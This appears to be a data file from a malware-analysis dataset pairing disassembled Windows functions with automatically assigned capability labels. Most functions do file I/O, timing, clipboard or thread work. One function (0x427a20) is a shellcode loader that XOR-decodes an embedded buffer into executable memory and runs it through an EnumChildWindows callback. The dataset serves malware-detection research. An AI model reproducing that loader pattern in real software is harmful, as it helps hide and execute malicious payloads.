joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100076f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000aa3f
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x1000f014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x28], edi
mov esi, dword [edi + 0x2c]
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], esi
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [ebp + 0x28], 0x2ba000
mov dword [ebp - 4], 0
jbe 0x1000774f
mov edi, 2
jmp 0x10007814
mov ecx, edi
call fcn.100071a0
mov edi, eax
test edi, edi
jne 0x10007814
mov ecx, dword [ebp - 0x28]
push eax
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
mov dword [ecx + 0x64], 1
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10008e80
mov ecx, dword [ebp - 0x28]
xorps xmm0, xmm0
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x44], edi
mov eax, dword [ecx + 0x38]
mov dword [ebp - 0x24], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x44]
push eax
push edi
push 0x14
lea eax, [ebp - 0x24]
push eax
push dword [ecx + 0x50]
movups xmmword [ebp - 0x40], xmm0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x28]
cmp dword [eax + 0x60], edi
je 0x100077d6
cmp dword [eax + 0x5c], edi
je 0x100077d6
mov edi, 1
jmp 0x1000780d
mov ecx, dword [ebp - 0x24]
cmp ecx, 1
jne 0x100077f9
push dword [ebp + 0x28]
xor edi, edi
push dword [eax + 0x8c]
push dword [ebp - 0x2c]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x28]
add esp, 0xc
jmp 0x1000780d
cmp ecx, 2
jne 0x10007803
lea edi, [ecx + 2]
jmp 0x1000780d
test ecx, ecx
mov edx, 3
cmove edi, edx
mov dword [eax + 0x64], 0
mov dword [ebp - 4], 3
mov ecx, esi
mov edx, dword [esi]
call dword [edx + 0x1c]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100091f8
mov esp, ebp
pop ebp
ret 0x24
Function at 0x10007850
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000aa7f
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x1000f014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x28], edi
mov esi, dword [edi + 0x2c]
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0x30], eax
lea eax, [esi + 8]
push eax
mov dword [ebp - 0x34], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [ebp + 0x28], 0x2ba000
mov dword [ebp - 4], 0
jbe 0x100078b5
mov edi, 2
jmp 0x10007990
mov ecx, edi
call fcn.100071a0
mov edi, eax
test edi, edi
jne 0x10007990
mov eax, dword [ebp - 0x28]
mov ecx, eax
push edi
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
mov dword [eax + 0x64], 1
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10008e80
mov ecx, dword [ebp - 0x28]
xorps xmm0, xmm0
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x48], edi
mov eax, dword [ecx + 0x38]
mov dword [ebp - 0x24], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x48]
push eax
push edi
push 0x14
lea eax, [ebp - 0x24]
push eax
push dword [ecx + 0x50]
movups xmmword [ebp - 0x44], xmm0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x28]
push dword [ebp + 0x28]
push dword [eax + 0x8c]
push dword [ebp - 0x2c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [ebp - 0x30]
add esp, 0xc
test ecx, ecx
je 0x10007959
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x84]
mov eax, dword [eax + 4]
mov esi, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
cmp dword [eax + 0x5c], 0
je 0x10007969
mov edi, 1
jmp 0x10007989
mov ecx, dword [ebp - 0x24]
cmp ecx, 1
jne 0x10007975
xor edi, edi
jmp 0x10007989
cmp ecx, 2
jne 0x1000797f
lea edi, [ecx + 2]
jmp 0x10007989
test ecx, ecx
mov edx, 3
cmove edi, edx
mov dword [eax + 0x64], 0
mov dword [ebp - 4], 3
mov ecx, esi
mov edx, dword [esi]
call dword [edx + 0x1c]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100091f8
mov esp, ebp
pop ebp
ret 0x28
Function at 0x100079c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000aa7f
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x1000f014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x30], edi
mov esi, dword [edi + 0x2c]
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x34], esi
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [ebp + 0x28], 0x2ba000
mov dword [ebp - 4], 0
jbe 0x10007a1f
mov edi, 2
jmp 0x10007ae9
mov ecx, edi
call fcn.100071a0
mov edi, eax
test edi, edi
jne 0x10007ae9
mov edi, dword [ebp - 0x30]
mov ecx, edi
push 1
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
mov dword [edi + 0x64], 1
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10008e80
mov eax, dword [edi + 0x14]
xorps xmm0, xmm0
mov ecx, dword [edi + 0x38]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x28]
push eax
push dword [ebp - 0x2c]
mov dword [ebp - 0x28], ecx
push dword [edi + 0x8c]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x44], xmm0
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
push 0
push 0x18
lea eax, [ebp - 0x28]
push eax
push dword [edi + 0x50]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [edi + 0x60], 0
je 0x10007ac3
cmp dword [edi + 0x5c], 0
je 0x10007ac3
mov edi, 1
jmp 0x10007adf
mov ecx, dword [ebp - 0x28]
cmp ecx, 1
jne 0x10007acf
xor edi, edi
jmp 0x10007adf
xor eax, eax
cmp ecx, 2
sete al
add eax, 3
mov dword [ebp - 0x2c], eax
mov edi, eax
mov eax, dword [ebp - 0x30]
mov dword [eax + 0x64], 0
mov dword [ebp - 4], 3
mov ecx, esi
mov edx, dword [esi]
call dword [edx + 0x1c]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100091f8
mov esp, ebp
pop ebp
ret 0x24
Function at 0x10007b20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000aa7f
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x1000f014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x30], edi
mov esi, dword [edi + 0x2c]
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x34], esi
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [ebp + 0x28], 0x2ba000
mov dword [ebp - 4], 0
jbe 0x10007b7f
mov edi, 2
jmp 0x10007c49
mov ecx, edi
call fcn.100071a0
mov edi, eax
test edi, edi
jne 0x10007c49
mov edi, dword [ebp - 0x30]
mov ecx, edi
push 1
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
mov dword [edi + 0x64], 1
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10008e80
mov eax, dword [edi + 0x14]
xorps xmm0, xmm0
mov ecx, dword [edi + 0x38]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x28]
push eax
push dword [ebp - 0x2c]
mov dword [ebp - 0x28], ecx
push dword [edi + 0x8c]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x44], xmm0
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
push 0
push 0x18
lea eax, [ebp - 0x28]
push eax
push dword [edi + 0x50]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [edi + 0x60], 0
je 0x10007c23
cmp dword [edi + 0x5c], 0
je 0x10007c23
mov edi, 1
jmp 0x10007c3f
mov ecx, dword [ebp - 0x28]
cmp ecx, 1
jne 0x10007c2f
xor edi, edi
jmp 0x10007c3f
xor eax, eax
cmp ecx, 2
sete al
add eax, 3
mov dword [ebp - 0x2c], eax
mov edi, eax
mov eax, dword [ebp - 0x30]
mov dword [eax + 0x64], 0
mov dword [ebp - 4], 3
mov ecx, esi
mov edx, dword [esi]
call dword [edx + 0x1c]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100091f8
mov esp, ebp
pop ebp
ret 0x24
Function at 0x10007c80
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi + 0x64], 0
je 0x10007c93
xor eax, eax
pop esi
pop ebp
ret 4
push edi
call fcn.10008f30
mov eax, dword [esi + 0x80]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [eax + 0x20]
cmp al, 0x7f
je 0x10007cdb
push 1
push 1
push 4
mov ecx, esi
call fcn.10007fc0
push 0x14
call edi
push 1
push 1
push 4
mov ecx, esi
call fcn.10007fc0
push 0x14
call edi
push 0
push 0
push 0
mov ecx, esi
call fcn.10007fc0
cmp dword [ebp + 8], 0
push ebx
je 0x10007d27
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
push 0x14
mov dword [ebp + 8], eax
call edi
mov edx, dword [esi]
mov ecx, esi
mov edx, dword [edx + 0x68]
call edx
test al, 0x88
je 0x10007d27
nop
cmp dword [esi + 0x60], 0
je 0x10007d0c
cmp dword [esi + 0x5c], 0
jne 0x10007d30
call ebx
sub eax, dword [ebp + 8]
cmp eax, dword [esi + 0x18]
ja 0x10007d3c
push 0x14
call edi
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x68]
call eax
test al, 0x88
jne 0x10007d00
pop ebx
pop edi
xor eax, eax
pop esi
pop ebp
ret 4
pop ebx
pop edi
mov eax, 1
pop esi
pop ebp
ret 4
pop ebx
pop edi
mov eax, 2
pop esi
pop ebp
ret 4

Function at 0x10007d50
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi + 0x64], 0
je 0x10007d63
xor eax, eax
pop esi
pop ebp
ret 4
mov ecx, dword [esi + 0x38]
mov eax, dword [esi + 0x30]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
cmp dword [eax + ecx*4 + 0x84], 0
jne 0x10007df6
mov eax, dword [esi + 0x80]
push 0xa
mov dword [eax + 0x18], 0x700016
call ebx
xor ecx, ecx
nop
mov eax, dword [esi + 0x80]
mov eax, dword [eax + 0x18]
test eax, 0x8000
je 0x10007da6
inc ecx
cmp ecx, 0x64
jb 0x10007d90
mov eax, dword [esi + 0x80]
push 0x3c
mov edi, dword [eax + 0x2c]
mov eax, dword [esi + 0x80]
or edi, 1
mov dword [eax + 0x2c], edi
call ebx
mov eax, dword [esi + 0x80]
and edi, 0xfffffffe
push 0xa
mov dword [eax + 0x2c], edi
call ebx
mov eax, dword [esi + 0x80]
mov dword [eax + 0x30], 0xffffffff
mov eax, dword [esi + 0x80]
mov dword [eax + 0x10], 0xffffffff
mov eax, dword [esi + 0x80]
mov dword [eax + 0x18], 0x700017
cmp dword [ebp + 8], 0
je 0x10007e39
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
push 0x32
mov dword [ebp + 8], eax
call ebx
mov edx, dword [esi]
mov ecx, esi
mov edx, dword [edx + 0x68]
call edx
test al, 0x88
je 0x10007e39
cmp dword [esi + 0x5c], 0
jne 0x10007e4e
call edi
sub eax, dword [ebp + 8]
cmp eax, dword [esi + 0x1c]
ja 0x10007e42
push 0x32
call ebx
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x68]
call eax
test al, 0x88
jne 0x10007e18
pop edi
pop ebx
xor eax, eax
pop esi
pop ebp
ret 4
pop edi
pop ebx
mov eax, 2
pop esi
pop ebp
ret 4
pop edi
pop ebx
mov eax, 1
pop esi
pop ebp
ret 4
Function at 0x10007e70
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi + 0x64], 0
je 0x10007e83
xor eax, eax
pop esi
pop ebp
ret 8
mov ecx, dword [esi + 0x38]
mov eax, dword [esi + 0x30]
push ebx
mov ebx, 3
cmp dword [ebp + 8], ebx
push edi
cmovbe ebx, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
and ebx, 3
shl ebx, 4
cmp dword [eax + ecx*4 + 0x84], 0
jne 0x10007f49
mov eax, dword [esi + 0x80]
push 0xa
mov dword [eax + 0x18], 0x700016
call edi
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov eax, dword [esi + 0x80]
mov eax, dword [eax + 0x18]
test eax, 0x8000
je 0x10007ee6
inc ecx
cmp ecx, 0x64
jb 0x10007ed0
mov eax, dword [esi + 0x80]
push 0x3c
mov edi, dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x80]
and edi, 0xffffff0f
or edi, ebx
and edi, 0xfffffff0
push 0x3c
mov dword [eax + 0x2c], edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
call edi
mov eax, dword [esi + 0x80]
push 0x14
mov eax, dword [eax + 0x28]
mov eax, dword [esi + 0x80]
mov dword [eax + 0x30], 0xffffffff
mov eax, dword [esi + 0x80]
mov dword [eax + 0x10], 0xffffffff
mov eax, dword [esi + 0x80]
mov dword [eax + 0x18], 0x700017
call edi
cmp dword [ebp + 0xc], 0
je 0x10007f91
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
push 0x32
mov dword [ebp + 8], eax
call edi
mov edx, dword [esi]
mov ecx, esi
mov edx, dword [edx + 0x68]
call edx
test al, 0x88
je 0x10007f91
nop dword [eax + eax]
cmp dword [esi + 0x5c], 0
jne 0x10007fa6
call ebx
sub eax, dword [ebp + 8]
cmp eax, dword [esi + 0x1c]
ja 0x10007f9a
push 0x32
call edi
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x68]
call eax
test al, 0x88
jne 0x10007f70
pop edi
pop ebx
xor eax, eax
pop esi
pop ebp
ret 8
pop edi
pop ebx
mov eax, 2
pop esi
pop ebp
ret 8
pop edi
pop ebx
mov eax, 1
pop esi
pop ebp
ret 8

Function at 0x10007fc0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, ecx
call edi
mov ecx, dword [esi + 0x80]
mov ebx, eax
cmp dword [ecx + 0x38], 0
je 0x10008000
nop
call edi
sub eax, ebx
cmp eax, 0x1f4
ja 0x10007ff9
mov eax, dword [esi + 0x80]
cmp dword [eax + 0x38], 0
jne 0x10007fe0
jmp 0x10008000
mov ecx, esi
call fcn.10008f30
mov eax, dword [esi + 0x84]
xorps xmm0, xmm0
push 0x40
push 0
movq qword [eax], xmm0
mov ecx, dword [esi + 0x84]
movzx eax, byte [ecx]
and al, 0xe5
or al, 5
mov byte [ecx], al
mov ecx, dword [esi + 0x84]
movzx eax, byte [ecx + 1]
xor al, byte [ebp + 0xc]
and al, 1
xor byte [ecx + 1], al
mov ecx, dword [esi + 0x84]
mov al, byte [ebp + 0x10]
shl al, 2
xor al, byte [ecx + 1]
and al, 4
xor byte [ecx + 1], al
push dword [esi + 0x88]
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [esi + 0x88]
add esp, 0xc
mov al, byte [ebp + 8]
mov byte [ecx], 0x27
mov byte [ecx + 0xf], al
mov eax, dword [esi + 0x80]
pop edi
pop esi
pop ebx
mov dword [eax + 0x38], 1
pop ebp
ret 0xc
Function at 0x40d510
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4b1740]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor edx, edx
push edi
mov edi, dword [ebp + 0xc]
nop dword [eax + eax]
mov cl, byte [edx + esi]
lea eax, [ecx - 0x41]
cmp al, 0x19
ja 0x40d542
movsx eax, cl
sub eax, 0x41
jmp 0x40d584
lea eax, [ecx - 0x61]
cmp al, 0x19
ja 0x40d551
movsx eax, cl
sub eax, 0x47
jmp 0x40d584
lea eax, [ecx - 0x30]
cmp al, 9
ja 0x40d560
movsx eax, cl
add eax, 4
jmp 0x40d584
cmp cl, 0x2b
jne 0x40d56c
mov eax, 0x3e
jmp 0x40d584
cmp cl, 0x2f
jne 0x40d578
mov eax, 0x3f
jmp 0x40d584
cmp cl, 0x3d
jne 0x40d601
or eax, 0xffffffff
mov dword [ebp + edx*4 - 0x14], eax
inc edx
cmp edx, 4
jl 0x40d530
mov edx, dword [ebp - 0x14]
cmp edx, 0xffffffff
je 0x40d601
mov esi, dword [ebp - 0x10]
cmp esi, 0xffffffff
je 0x40d601
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
cmp ecx, 0xffffffff
jne 0x40d5b2
cmp eax, ecx
jne 0x40d601
lea ebx, [ecx + 2]
jmp 0x40d5bd
xor ebx, ebx
cmp eax, 0xffffffff
setne bl
add ebx, 2
shl edx, 6
and ecx, 0x3f
or edx, esi
and eax, 0x3f
shl edx, 6
or edx, ecx
shl edx, 6
or edx, eax
mov eax, edx
shr eax, 0x10
mov byte [edi], al
cmp ebx, 1
jbe 0x40d5e6
mov ecx, edx
shr ecx, 8
mov byte [edi + 1], cl
cmp ebx, 2
jbe 0x40d5ee
mov byte [edi + 2], dl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004343a0
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004343a0
mov esp, ebp
pop ebp
ret

Function at 0x412150
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0x34
push dword [ebp + 8]
call fcn.00403150
add esp, 8
cmp byte [eax], 0
je 0x41216e
mov dword [ebp + 8], eax
pop ebp
jmp fcn.0040db60
push 0x35
push dword [ebp + 8]
call fcn.004030f0
add esp, 8
test eax, eax
je 0x412185
pop ebp
jmp fcn.0042da80
xor eax, eax
pop ebp
ret

Function at 0x412450
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00426370
add esp, 8
mov dword [ebp + 0x10], eax
pop ebp
jmp fcn.00432260
Function at 0x427a20
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x25b4
call fcn.004348a0
mov eax, dword [0x4b1740]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x25a6
lea eax, [ebp - 0x25ac]
push 0x4a0588
push eax
call fcn.004356f0
mov bl, byte [ebp - 0x25ac]
add esp, 0xc
xor bl, 0x90
mov dword [ebp - 0x25b0], 0
mov eax, dword fs:[0x30]
nop
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x25b0], eax
call fcn.00423a10
push str.VirtualAlloc
push dword [ebp - 0x25b0]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
push 4
push 0x1000
push 0x25a5
push 0
nop
nop
call eax
nop
mov edi, eax
lea eax, [ebp - 0x25b4]
push eax
push 0x40
push 0x25a5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esi, [ebp - 0x25ac]
mov ecx, edi
sub esi, edi
mov edx, 0x25a5
mov al, byte [esi + ecx]
nop
lea ecx, [ecx + 1]
nop
xor al, bl
nop
nop
mov byte [ecx - 1], al
sub edx, 1
jne 0x427ad0
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004343a0
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4280e0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [0x4b1740]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
cmp eax, 1
jne 0x428129
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4b3a38]
js 0x428115
cmp eax, 0x32
jl 0x428211
push 0
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4b3a38], eax
jmp 0x4281f9
cmp eax, 3
jne 0x4281b8
push 0x6c
push dword [0x4b5dfc]
call fcn.00403090
mov ecx, dword [0x4b3a2c]
add esp, 8
mov esi, eax
test ecx, ecx
je 0x428161
push 0x20001
push 0
push dword [esi]
call ecx
test eax, eax
jne 0x4281f9
push dword [esi]
lea eax, [ebp - 0x58]
push str.Unable_to_play_sound_file_n_s_nUsing_default_sound_instead
push eax
call fcn.00408a10
push dword [0x495524]
lea eax, [ebp - 0xbc]
push str._.70s_Sound_Error
push eax
call fcn.00408a10
add esp, 0x18
lea eax, [ebp - 0xbc]
push 0x30
push eax
lea eax, [ebp - 0x58]
push eax
push dword [0x4b5e38]
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
push 0x66
push dword [0x4b5dfc]
call fcn.00403590
add esp, 0xc
jmp 0x4281f9
cmp eax, 4
jne 0x4281f9
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4b3a3c]
js 0x4281d2
cmp eax, 0x32
jl 0x428211
cmp dword [0x4b5d70], 2
jne 0x4281ea
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
jmp 0x4281f2
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4b3a3c], eax
mov eax, dword [0x4b5e2c]
cmp dword [eax + 0x134], 0
jne 0x428211
push 2
call fcn.00429260
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004343a0
mov esp, ebp
pop ebp
ret
Function at 0x42a130
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [0x4b5e38]
push 0x427e60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret

Function at 0x42af00
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
lea eax, [ebx + 1]
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x42afa7
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edi, eax
test edi, edi
je 0x42afa6
push ebx
push dword [ebp + 0xc]
push edi
call fcn.004356f0
add esp, 0xc
mov byte [edi + ebx], 0
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov ebx, dword [ebp + 0x14]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
test ebx, ebx
jne 0x42af65
push 0
push 1
push 0x8002
push dword [0x4b5e38]
call edi
push dword [0x4b5e38]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x42af8c
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x42af93
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
test ebx, ebx
jne 0x42afa6
push ebx
push ebx
push 0x8002
push dword [0x4b5e38]
call edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x42c0f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push 0x1034
push 1
call fcn.0040e1f0
mov ecx, dword [ebp + 8]
add esp, 8
mov edi, eax
lea ebx, [edi + 4]
mov dword [ebx], ecx
push 0
push 0
push 0
push 0
mov dword [edi], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0
push 0
mov dword [edi + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [edi + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [edi + 0x1030], eax
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x20], eax
mov eax, dword [ebp + 0x14]
mov dword [edi + 0x24], eax
mov eax, dword [0x4b3a40]
mov dword [edi + 0x18], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
test eax, eax
jne 0x42c17c
push 0x42be40
call fcn.004213c0
add esp, 4
mov dword [0x4b3a40], eax
push edi
push eax
call fcn.00420550
add esp, 8
lea eax, [ebp - 4]
push eax
push 0
push ebx
push 0x42c1b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x1c], 1
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42c360
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push 0x1034
push 1
call fcn.0040e1f0
mov ecx, dword [ebp + 8]
add esp, 8
mov edi, eax
lea ebx, [edi + 4]
mov dword [ebx], ecx
push 0
push 0
push 0
push 0
mov dword [edi], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0
push 0
mov dword [edi + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [edi + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x38]
push eax
mov dword [edi + 0x1c], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
call fcn.0040d820
mov eax, dword [ebp + 0xc]
add esp, 4
mov dword [edi + 0x48], eax
mov eax, dword [ebp + 0x14]
mov dword [edi + 0x24], eax
mov eax, dword [0x4b3a40]
mov dword [edi + 0x44], 0
test eax, eax
jne 0x42c403
push 0x42be40
call fcn.004213c0
add esp, 4
mov dword [0x4b3a40], eax
push edi
push eax
call fcn.00420550
add esp, 8
lea eax, [ebp - 4]
push eax
push 0
push ebx
push 0x42c430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret